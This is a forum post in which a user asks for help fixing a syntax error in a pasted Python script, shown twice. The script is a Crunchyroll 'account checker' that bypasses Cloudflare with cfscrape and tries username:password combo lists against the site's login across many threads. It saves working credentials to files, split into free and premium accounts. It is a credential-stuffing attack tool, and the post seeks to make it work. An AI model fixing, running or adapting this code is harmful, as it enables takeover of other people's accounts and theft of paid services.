- Joined
- Threads
- 53
- Posts
- 75
I came across this code via git but it keeps spitting out a syntax error. Maybe I've looked at it to long to find the error. If someone would like to help me out with this I would be greatly thankful.
PS
#! /bin/bash
# Copyright 2017 Joao Vitor B. F.
import BeautifulSoup
import argparse
import os
import threading
import time
import cfscrape
tLock=threading.Lock()
def cls():
os.system('cls' if os.name == 'nt' else 'clear')
def check(name, threadid):
while True:
try:
print(name + " thread is loading the Cloudflare bypass.")
sess = cfscrape.create_scraper()
loginpage = sess.get(" ")
loginsoup = BeautifulSoup(loginpage.text, "html.parser")
csrftok = loginsoup.find(id="login_form__token")["value"]
print(name + " loaded the Cloudflare bypass. Starting thread.")
global total
total = sum(1 for line in open(arg.inputfile))
except:
continue
break
for line in combo:
while True:
try:
if total != 0:
global percentage
global checked
percentage = (checked / total) * 100
if checked >= total:
exit()
user, passw = line.split(":")
user = user.strip()
passw = passw.strip()
sess.post(" ",
data={"login_form[name]": user,
"login_form[password]": passw,
"login_form[redirect_url]": "/",
"login_form[_token]": csrftok})
testacc = sess.get(" ")
testsoup = BeautifulSoup(testacc.text, "html.parser")
if testsoup.title.get_text().strip() == 'Crunchyroll - Account Management':
global working
working = working + 1
if testsoup.find(class_='acct-membership-status').contents[1].find(
'td').get_text().strip() == 'Free':
global free
free = free + 1
tLock.acquire()
with open("justworking.txt", "a") as justworking:
justworking.write(user + ":" + passw + "\n")
justworking.close
tLock.release()
else:
global premium
premium = premium + 1
tLock.acquire()
with open("workingandpremium.txt", "a") as workingandpremium:
workingandpremium.write(user + ":" + passw + "\n")
workingandpremium.close
tLock.release()
checked = checked + 1
except:
continue
break
if __name__ == "__main__":
class arg:
pass
argparser = argparse.ArgumentParser(description="Crunchyroll Account List Checker made by JoaoVitorBF.",
usage="%(prog)s input_file",
epilog="Version: 1.5")
argparser.add_argument("inputfile",
metavar="input_file",
help="inputs a combo list text file to be used.")
argparser.add_argument("threads", metavar="number_of_threads",
help="specifies the number of threads to use (recommended max of 20).")
argus = argparser.parse_args(namespace=arg)
if os.path.isfile(arg.inputfile):
print("File found, starting checker...")
else:
print("File \"" + arg.inputfile + "\" does not exist. Please input an existing combo list text file.")
exit()
thread = []
global combo
combo = open(arg.inputfile, "r")
global percentage, checked, free, premium, working, total
percentage, checked, free, premium, working, total = 0, 0, 0, 0, 0, 99999999
for i in range(int(arg.threads)):
threadz = threading.Thread(target=check, args=("Thread " + str(i + 1), i + 1))
thread.append(threadz)
thread.start()
while True:
if checked >= total:
print("Checking finished, " + str(working) + " working accounts, which " + str(premium) + " are premium.")
print("Accounts saved to text files.")
exit()
cls()
print("CrunchyrollChecker 1.2 by JoaoVitorBF\nTotal: " + str(total)
+ " | Checked: " + str(checked)
+ " | Working: " + str(working)
+ " | Free: " + str(free)
+ " | Premium: " + str(premium)
+ " | Completed: " + str(percentage) + "%")
time.sleep(3)
# Thank you for using my script!
PS
#! /bin/bash
# Copyright 2017 Joao Vitor B. F.
import BeautifulSoup
import argparse
import os
import threading
import time
import cfscrape
tLock=threading.Lock()
def cls():
os.system('cls' if os.name == 'nt' else 'clear')
def check(name, threadid):
while True:
try:
print(name + " thread is loading the Cloudflare bypass.")
sess = cfscrape.create_scraper()
loginpage = sess.get(" ")
loginsoup = BeautifulSoup(loginpage.text, "html.parser")
csrftok = loginsoup.find(id="login_form__token")["value"]
print(name + " loaded the Cloudflare bypass. Starting thread.")
global total
total = sum(1 for line in open(arg.inputfile))
except:
continue
break
for line in combo:
while True:
try:
if total != 0:
global percentage
global checked
percentage = (checked / total) * 100
if checked >= total:
exit()
user, passw = line.split(":")
user = user.strip()
passw = passw.strip()
sess.post(" ",
data={"login_form[name]": user,
"login_form[password]": passw,
"login_form[redirect_url]": "/",
"login_form[_token]": csrftok})
testacc = sess.get(" ")
testsoup = BeautifulSoup(testacc.text, "html.parser")
if testsoup.title.get_text().strip() == 'Crunchyroll - Account Management':
global working
working = working + 1
if testsoup.find(class_='acct-membership-status').contents[1].find(
'td').get_text().strip() == 'Free':
global free
free = free + 1
tLock.acquire()
with open("justworking.txt", "a") as justworking:
justworking.write(user + ":" + passw + "\n")
justworking.close
tLock.release()
else:
global premium
premium = premium + 1
tLock.acquire()
with open("workingandpremium.txt", "a") as workingandpremium:
workingandpremium.write(user + ":" + passw + "\n")
workingandpremium.close
tLock.release()
checked = checked + 1
except:
continue
break
if __name__ == "__main__":
class arg:
pass
argparser = argparse.ArgumentParser(description="Crunchyroll Account List Checker made by JoaoVitorBF.",
usage="%(prog)s input_file",
epilog="Version: 1.5")
argparser.add_argument("inputfile",
metavar="input_file",
help="inputs a combo list text file to be used.")
argparser.add_argument("threads", metavar="number_of_threads",
help="specifies the number of threads to use (recommended max of 20).")
argus = argparser.parse_args(namespace=arg)
if os.path.isfile(arg.inputfile):
print("File found, starting checker...")
else:
print("File \"" + arg.inputfile + "\" does not exist. Please input an existing combo list text file.")
exit()
thread = []
global combo
combo = open(arg.inputfile, "r")
global percentage, checked, free, premium, working, total
percentage, checked, free, premium, working, total = 0, 0, 0, 0, 0, 99999999
for i in range(int(arg.threads)):
threadz = threading.Thread(target=check, args=("Thread " + str(i + 1), i + 1))
thread.append(threadz)
thread.start()
while True:
if checked >= total:
print("Checking finished, " + str(working) + " working accounts, which " + str(premium) + " are premium.")
print("Accounts saved to text files.")
exit()
cls()
print("CrunchyrollChecker 1.2 by JoaoVitorBF\nTotal: " + str(total)
+ " | Checked: " + str(checked)
+ " | Working: " + str(working)
+ " | Free: " + str(free)
+ " | Premium: " + str(premium)
+ " | Completed: " + str(percentage) + "%")
time.sleep(3)
# Thank you for using my script!